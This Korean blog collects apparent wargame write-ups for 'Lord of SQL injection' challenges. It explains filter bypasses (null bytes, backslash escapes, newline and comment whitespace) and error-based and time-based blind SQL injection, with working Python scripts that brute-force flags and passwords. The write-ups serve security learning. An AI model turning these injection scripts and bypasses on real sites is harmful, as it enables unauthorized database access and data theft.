코드 윗부분을 보면 function이 정의되어 있다. flag를 리셋 시키는 거 같은데 

new_flag에 해쉬값의 8번째 문자를 시작으로 16개의 문자를 담는다. 그 후에 if값이 참이라면 insert into 구문을 사용해서 테이블에 데이터를 넣고 update문을 이용해서  flag값을 수정한다. 


문자 필터링에는 id, where, order, limit, , 등이 있었고 flag값이 100자를 넘으면 안된다.

realflag변수는 말 그대로 realflag를 가지고 

입력한 flag 값은 prob_umaru_temp라는 테이블에 넣어준다.

real flag값과 temp flag값이 다르면 reset_flag()함수를 실행하는데 이 부분을 우회해야 flag값을 부르트포싱 할 수 있다.


연산 우선순위에 의해서 sleep()함수 내부에 length(flag)={0}를 넣어주고 이에 따른 true, false 값이 리턴 될 것이다.

그리고 (select 1 union select 2)는 Subquery returns more than 1 row에러가 나기 때문에 

update prob_umaru_temp set flag ={$_GET[flag]}구문부터 아래는 처리 되지 않는다. 이런식으로 sleep함수를 이용하여 블라인드 인젝션을하고 에러로 reset_flag()함수의 실행을 막는다.



다른이야기지만 mysql은 query 최적화를 위해 or 이전에 값이 true이면 or이후의 절은 확인하지 않는다. 즉  or 뒤에 sleep이 있다면 실행 되지 않는다는 것.



import urllib2

import time


headers={"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36","Cookie": "__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82"}


for i in range(1,20):

    t1=time.time()

    url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((length(flag)={0})*2)%20=(select%201%20union%20select%202)".format(str(i))

    request=urllib2.Request(url,None,headers)

    response=urllib2.urlopen(request)

    res=response.read()

    t2=time.time()

    print "t2-t1 : ",t2-t1

    if t2-t1>2:

        print "flag length : ", i

        break



string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"

result=""


for i in range(0,16):

    for k in range(0,50):

        t1=time.time()

        url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((flag%20like%20%27{0}{1}%%27)*2)%20=(select%201%20union%20select%202)".format(str(result),str(string[k]))

        request=urllib2.Request(url,None,headers)

        response=urllib2.urlopen(request)

        res=response.read()

        t2=time.time()

        print str(i)+"\t"+str(k)

        if t2-t1>2:

            result+=string[k]

            print 

            break

print result


print ('Password is '+result)

url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+result

request=urllib2.Request(url,None,headers)

response=urllib2.urlopen(request)

res=response.read()

print (res)







los_umaru.py




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

21.los dark_eyes  (0) 2018.04.02
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29

이번 문제는 전 문제와 다르게 에러의 내용도 출력해 주지 않고 if, case, when 등 조건문을 필터링한다. 쿼리가 제대로 실행이 되는지 에러가 나는지 알 방법이 필요한데, 이때에 필요한것이 select 1 union select 2이다.  


먼저 length 함수를 이용해서 패스워드 길이를 알아본다 union select 2 <== 2부분에 length(pw)=8을 넣어보니 쿼리와 php코드가 나오는 걸로 보아 패스워드는 8자리임을 알 수 있었다.


import urllib2 


headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82'} 

result=[]

for i in range(1,9):

        for j in range(0,0xff):

                urL="http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20||%20id=%27admin%27%20%26%26%20(select%201%20union%20select%20ord(substr(pw,{0},1))={1})%23".format(str(i),str(j))

                request = urllib2.Request(urL, None, headers) 

                response = urllib2.urlopen(request) 

                res=response.read()       

                if "query" in res:

                        result+=str(i)

                        break

        print str(i)+"ord : "+str(j)        





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

24.los umaru  (0) 2018.04.03
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29


이번문제는 블라인드 인젝션 문제이다. 1차적으로 pw의 길이를 알아내고 한글자씩 문자를 찾아내기로 한다. 

sleep과 benchmark를 필터링하기 때문에 딜레이를 이용한 블라인드 인젝션은 불가능하다.

대신 if(mysql_error()) exit(mysql_error()); 코드가 처음으로 추가 되었는데, 에러 발생시 오류를 출력하는 기능의 조건문이다.

이 부분을 응용해서 공격하는 기법을 Error based SQL injection이라고 한단다.



에러가 발생시 오류를 출력하기 때문에 if문을 이용해서 조건이 참이될때만 에러가 나야만 블라인드 인젝션이 가능하다.=쿼리의 참, 거짓의 구분이 가능하다.(쿼리 문장에서부터 오류가나면 안됨. 거짓일 때도 오류가 나면 안됨. 무조건 참일때만)

여러 사람들이 select 1 union select 2 문을 사용하던데 본인은 pow()라는 숫자의n제곱 기능을 이용해서 참이 되면 연산 범위 오류가 나도록 했다.


아래와 같이 1부터 15까지는 정상적이 쿼리가 echo되었지만 16에서 오류가 출력되었다. 이 말은 조건문이 참이 되었다는 것을 뜻하고 pw의 길이는 16 이라는 것을 알 수 있었다.




아스키코드 범위를 초과하는 문자열이 나왔던 xavis문제 이후로 ord로 비교하는 버릇이 생겼다. 나름 좋은 점이 있는듯 하다.

예상하고 달랐던 점은 pw의 길이가 16이라고 했지만 5부터 16자리까지는 Null문자로 채워져 있었다.




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

24.los umaru  (0) 2018.04.03
21.los dark_eyes  (0) 2018.04.02
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29


문자의 필터링이 이전 문제에 비해 줄었다. 하지만 id='guest' 뒤에 #으로 주석처리가 되어 있어서 새로운 방법을 모색해야 했다.

우선 #주석처리는 동일한 라인의 마지막 문자까지 주석처리를 하고 이외의 다른라인에는 영향이 없다.

그래서 우리는 주석처리를 무시할 수 있게 개행을 해줘야하는데 line feed 기능을 하는 \n의 아스키코드인 %0a를 사용하기로 한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

21.los dark_eyes  (0) 2018.04.02
20.los iron_golem  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29
16.los succubus  (0) 2018.03.28


이번 문제의 특징이라면 지정된 패턴을 검색하는 like문과 regex문이 필터링된다.

정규 표현식 (Regexp)문은 특정한 규칙으로 문자열을 찾아내는 것입니다. 예를 들면 Y/N으로 데이터를 구분해야 할 때 소문자도 비교해야하는경우,

정규표현식으로 [yY] 조건을 통해 y 또는 Y만 구분되도록 하는 것.


항상 블라인드 인젝션을 할때마다 pw의 길이가 8이여서 대입해 보았지만 실패하고 추측할 수 없어서 코드를 짰고 pw길이는 40으로 나왔다.



파이썬 스크립트를 실행해봤을때 문자열의 첫번째 문자부터 아스키코드 범위를 벗어난 문자임을 알 수 있었다. db에는 문자형태로 저장되기때문에 정확히 한 문자가 몇바이트의 어떤 값을 가지는지 정수로 표현하여 알 수 있는 ord()를 이용해서 첫번째 문자를 분석해보기로 한다.



문자가 1바이트의 표현 영역을 벗어나진 않았다. 문자 하나당 4바이트를 사용해서 pw길이가 40으로 나오긴 했지만 실제로 문자 각각은 125~255사이에 값을 가졌다.


그렇다면 왜 substr(pw,1,1) <= 으로 가져왔을때는 4바이트 문자를 하나씩 가져오고 length(pw)<== 할때는 문자열길이를 40으로 세는가?  

각각의 함수의 작동방식의 차이라고 추측된다.


아스키코드를 벗어나고 255이하의 범위를 가진 ansi코드 차트를 이용했다. 물론 유니코드 u+00xx 차트를 이용해도 무관했다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
17.los nightmare  (0) 2018.03.29
16.los succubus  (0) 2018.03.28
15.los zombie_assassin  (0) 2018.03.27


preg_match에 /prob, _ , ., (), #, - <==를 필터링하고 pw도 6글자를 넘기면 안된다는 조건이 있다.

쿼리문에는 id!= 'admin'이 있어서 우회해야 할 듯 하다.


";%00(Null값)이용 

;는 쿼리문 두개를 같이 실행시킬 때 사용한다. ex) 쿼리문1 ; 쿼리문2

;다음에 %00(Null) 값을 준다면, 문장의 끝으로 인식하고 뒤에 문자은 확인하지 않게되고 자연스레 주석처리와 같은 효과를 내게 된다.

pw = ('')는 False

False = 0은 True로 처리된다.


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
16.los succubus  (0) 2018.03.28
15.los zombie_assassin  (0) 2018.03.27
14.los assassin  (0) 2018.03.27


succubus문제의 핵심은 preg_match의 싱글쿼터 필터링이다. 

이전 문제는 ereg의 싱글쿼터 필터링으로 %00(Null문자)를 이용해서 우회했는데 이번에는 어떤 방식으로 우회를 해야할까? 

\  <-- 문자를 싱글쿼터 앞에 써주면 싱글쿼터가 문자열로 인식되기 때문에 문자열 형태로 id에 들어가게 된다. 

후에 아래와 같이 where문을 참으로 바꿔주면 Clear! 

주의할 점은 \에 이어서 문자가들어오면 \도 문자로 인식하기 때문에 &이나 &&을 사용해야한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29
15.los zombie_assassin  (0) 2018.03.27
14.los assassin  (0) 2018.03.27
13.los bugbear  (0) 2018.03.22


이전 문제에서 대소문자를 구별해서 취약했던 ereg가 이번엔 싱글쿼터를 필터링하는거 이외에는 특별한 사항은 없다.

위의 코드에서 where절이 참이 되면 무조건 $result['id']가 참이 되기때문에 이번 문제를 풀 수 있다.


제한되어 있는 싱글쿼터를 사용하는 것이 이번 문제의 핵심인데 어떻게 할 수 있을까?? 방법은 간단하다. 

%00(Null바이트)를 '앞에 붙여주면 문자열 비교를 하지 않게된다. 그렇지만 문자열수에 포함되기 때문에 변수에 들어갈땐 주의한다.


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

17.los nightmare  (0) 2018.03.29
16.los succubus  (0) 2018.03.28
14.los assassin  (0) 2018.03.27
13.los bugbear  (0) 2018.03.22
12.los darkknight  (0) 2018.03.22


get으로 받은 pw가 admin의 패스워드와 일치하면 id에서 $result와 'admin'이 같으면 조건문을 충족하게 되고 문제가 풀리게 된다.

그렇지만 패스워드가 몇글자인지 알기위해 임의의 문자를 나타내는 _을 사용하여 pw의 길이를 알아보고 sql에서의 와일드카드인 %를 문자열의 앞과 뒤 중간에 적절히 넣어서 pw를 추측해가며 문제를 풀어준다.


pw에 %(와일드카드)만 넣었을때 Hello guest라고 뜨는 걸로보아 admin이 guest보다 하위 레코드에 위치하는 것 같다. 처음부터 admin으로 떠버리면 문제가 너무 쉽게 풀리기 때문




_ (임의의 문자를 의미) <--문자를 8번 입력해 주었을때 hello guest가 떴다. 패스워드가 8자리라는 것을 알 수 있다.



admin의 패스워드를 찾기 위해 뒷자리부터 차근차근 문자를 넣어봤는데 Hello guest만 나오지 admin은 나오지 않았다. 이를 통해 admin과 guest의 패스워드가 일부 겹친다는 것을 알 수 있다. 


패스워드의 앞 두자리 8과 3역시 guest와 admin의 패스워드가 겹치는 것을  알 수 있었고..




세번째 자리에서 패스워드가 갈려 admin은 패스워드 앞 세자리가 832로 시작하고 guest는 83d로 셋째 자리에서 나뉘게 된다.





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

16.los succubus  (0) 2018.03.28
15.los zombie_assassin  (0) 2018.03.27
13.los bugbear  (0) 2018.03.22
12.los darkknight  (0) 2018.03.22
11.los golem  (0) 2018.03.22



이전문제에 비해 no에 필터로 공백, like, 0x가 추가되었다. 이것들을 적절히 우회해서 블라인드 인젝션을 성공시키기로 한다.



먼저 공백은 1. TAB :  %09 2. \n : %0a 3. \r : %0d  4.공백 : /**/ (/는 url인코딩하여 %2f)으로 우회한다. 

그다음 like는 in (" ")구문을 이용해서 대체하고 




0x나 ord(), ascii()같은 경우는 hex()로 대체해준다.


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

15.los zombie_assassin  (0) 2018.03.27
14.los assassin  (0) 2018.03.27
12.los darkknight  (0) 2018.03.22
11.los golem  (0) 2018.03.22
10.los skelleton  (0) 2018.03.22

+ Recent posts